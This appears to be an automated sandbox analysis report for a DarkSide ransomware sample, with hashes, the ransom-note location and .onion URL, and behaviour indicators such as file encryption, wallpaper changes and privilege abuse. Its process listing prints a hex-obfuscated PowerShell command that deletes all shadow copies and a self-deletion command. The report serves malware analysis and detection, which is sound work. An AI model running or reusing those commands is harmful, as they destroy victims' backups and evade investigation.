Analysis
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max time kernel
74s -
max time network
65s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
18-05-2021 20:48
Static task
static1
Behavioral task
behavioral1
Sample
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Resource
win10v20210410
General
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Target
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
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Size
59KB
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MD5
9d418ecc0f3bf45029263b0944236884
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SHA1
eeb28144f39b275ee1ec008859e80f215710dc57
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SHA256
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5
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SHA512
82ced42a32f18ede4358459e08bed1adff85d49c952aca7a086571c5b71fd8b3185ea4306abd1f4e639a12f11161f43c73bf6049d76902d365c5a5e4c7e71f3d
Malware Config
Extracted
C:\\README.341d6443.TXT
darkside
http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 7 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\MergeUpdate.tiff 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\MergeUpdate.tiff => C:\Users\Admin\Pictures\MergeUpdate.tiff.341d6443 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\MergeUpdate.tiff.341d6443 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\RevokeEnter.crw => C:\Users\Admin\Pictures\RevokeEnter.crw.341d6443 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\RevokeEnter.crw.341d6443 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File renamed C:\Users\Admin\Pictures\UnblockComplete.crw => C:\Users\Admin\Pictures\UnblockComplete.crw.341d6443 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe File opened for modification C:\Users\Admin\Pictures\UnblockComplete.crw.341d6443 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2844 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP" 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP" 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Control Panel 1 IoCs
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10" 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe -
Modifies registry class 5 IoCs
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443" 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico" 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exe151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exepid process 888 powershell.exe 888 powershell.exe 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeSecurityPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeTakeOwnershipPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeLoadDriverPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeSystemProfilePrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeSystemtimePrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeProfSingleProcessPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeIncBasePriorityPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeCreatePagefilePrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeBackupPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeRestorePrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeShutdownPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeDebugPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeSystemEnvironmentPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeRemoteShutdownPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeUndockPrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeManageVolumePrivilege 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: 33 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: 34 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: 35 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe Token: SeDebugPrivilege 888 powershell.exe Token: SeBackupPrivilege 468 vssvc.exe Token: SeRestorePrivilege 468 vssvc.exe Token: SeAuditPrivilege 468 vssvc.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exedescription pid process target process PID 2040 wrote to memory of 888 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe powershell.exe PID 2040 wrote to memory of 888 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe powershell.exe PID 2040 wrote to memory of 888 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe powershell.exe PID 2040 wrote to memory of 888 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe powershell.exe PID 2040 wrote to memory of 2844 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe cmd.exe PID 2040 wrote to memory of 2844 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe cmd.exe PID 2040 wrote to memory of 2844 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe cmd.exe PID 2040 wrote to memory of 2844 2040 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe"C:\Users\Admin\AppData\Local\Temp\151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\151FBD~1.EXE >> NUL2⤵
- Deletes itself
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
13ad95ada4f65a17d044d047d9fd1570
SHA13cab7b08dd95a2123ec628a2eb60cdc41472dd51
SHA2561e3f7b2b9f5b3f03030a51a17b9a9e68fd309fec3221fa901ccbc391bf51d582
SHA512936db0759eaed1c1e41147a85c3f772a7575f65c3eb02ddadc609a4bacd86b99112bf88e56c4105ce38f1ab36874812e3edaa5b1a36a910196b3b6dc0aeb7c47
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
0b176047694f22b25552fa6739bce32e
SHA103ff70b639bccc339714fe265e5b801d0733497d
SHA25682ff29a428d59a1dd9902d782998cd2fa776b196a782c1196b0b9dbcb595b3eb
SHA512c32f341f40abe5be1d6577e4a6cb1bee1da16d4c3b9272203a76777394809e77888d3392757e827780303dfd63678258186756d2320eac63ce1d37d44aa6abad
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memory/888-66-0x0000000002370000-0x0000000002371000-memory.dmpFilesize
4KB
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memory/888-63-0x0000000002520000-0x0000000002521000-memory.dmpFilesize
4KB
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memory/888-64-0x000000001AAC0000-0x000000001AAC1000-memory.dmpFilesize
4KB
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memory/888-65-0x0000000002560000-0x0000000002561000-memory.dmpFilesize
4KB
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memory/888-67-0x000000001AA40000-0x000000001AA42000-memory.dmpFilesize
8KB
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memory/888-68-0x000000001AA44000-0x000000001AA46000-memory.dmpFilesize
8KB
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memory/888-69-0x000000001C5A0000-0x000000001C5A1000-memory.dmpFilesize
4KB
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memory/888-70-0x000000001B4D0000-0x000000001B4D1000-memory.dmpFilesize
4KB
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memory/888-62-0x000007FEFC141000-0x000007FEFC143000-memory.dmpFilesize
8KB
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memory/888-61-0x0000000000000000-mapping.dmp
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memory/2040-60-0x0000000076281000-0x0000000076283000-memory.dmpFilesize
8KB
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memory/2844-73-0x0000000000000000-mapping.dmp